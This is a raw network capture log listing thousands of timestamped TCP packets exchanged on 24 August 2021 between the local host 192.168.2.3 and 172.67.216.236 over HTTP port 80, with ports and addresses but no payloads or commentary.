Aug 24, 2021 14:01:43.837171078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837186098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837234020 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837272882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837281942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837306976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837342024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837363005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837376118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837413073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837420940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837440968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837491035 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837501049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837536097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837575912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837595940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837596893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837619066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837639093 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837642908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837663889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837687016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837687969 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837708950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837730885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837734938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837759972 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837779999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837783098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837802887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837821960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837825060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837846041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837867022 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837867975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837888956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837913036 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837913990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.837960958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.837982893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838009119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838049889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838049889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838073015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838119984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838151932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838184118 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838186026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838219881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838223934 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838255882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838263988 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838278055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838299036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838320017 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838334084 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838341951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838363886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838383913 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838387966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838411093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838412046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838433027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838453054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838454008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838474989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838495016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838498116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838520050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838540077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838551998 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838578939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838800907 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838840961 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838872910 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838896036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838897943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838921070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838943005 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.838943005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838965893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838989019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.838989973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839030981 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839037895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839078903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839131117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839150906 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839175940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839220047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839225054 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839338064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839361906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839384079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839386940 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839406967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839426994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839428902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839451075 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839471102 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839473963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839498997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839510918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839520931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839543104 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839555025 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839565039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839586973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839600086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839608908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839647055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839798927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839823008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839864016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839886904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839889050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839912891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839929104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.839935064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839958906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.839982033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840007067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840013027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840050936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840059996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840084076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840087891 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840136051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840173960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840195894 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840224028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840245962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840250015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840264082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840282917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840292931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840305090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840322971 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840325117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840343952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840372086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.840384007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840426922 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.840430021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841077089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841106892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841130018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841151953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841154099 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841178894 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841314077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841346025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841367006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841391087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841417074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841435909 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841449976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841473103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841492891 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841496944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841542959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841551065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841582060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841620922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841633081 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841670990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841707945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841715097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841744900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841773033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841787100 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841794968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841818094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841840982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841850042 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841861963 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841883898 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841885090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841907024 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841932058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841933966 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841953993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841975927 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.841979980 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.841999054 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842025995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842029095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842061043 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842081070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842087030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842120886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842124939 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842153072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842187881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842200041 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842227936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842257977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842267036 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842350960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842376947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842412949 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842425108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842456102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842482090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842552900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842576027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842598915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842598915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842622995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842643023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842647076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842669964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842691898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842693090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842719078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842736006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842744112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842766047 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842782974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842787981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842809916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842825890 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842832088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842854023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842866898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842875957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842902899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842914104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842926025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842948914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842967033 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.842972994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.842995882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843019962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843024015 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843043089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843070030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843070030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843108892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843110085 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843184948 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843225002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843241930 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843257904 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843302011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843302965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843338013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843374014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843381882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843417883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843453884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843466997 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843497992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843532085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843539953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843554974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843585014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843609095 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843645096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843671083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843697071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843722105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843745947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843750000 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843769073 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843791008 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843794107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843816042 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843839884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843859911 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843863964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843892097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843900919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843916893 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843940020 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843940973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.843982935 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.843985081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844017982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844043016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844067097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844073057 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844109058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844120979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844166040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844192982 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844213963 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844234943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844285011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844304085 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844342947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844392061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844392061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844419956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844463110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844469070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844520092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844553947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844564915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844577074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844603062 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844626904 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844628096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844655991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844676018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844680071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844702959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844727039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844738960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844750881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844774008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844778061 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844798088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844819069 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844820976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844846010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844854116 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844870090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844892979 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844912052 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844917059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844939947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844957113 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.844963074 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.844985008 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845000029 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845009089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845038891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845050097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.845084906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845125914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.845134020 CEST	49724	80	192.168.2.3	172.67.216.236
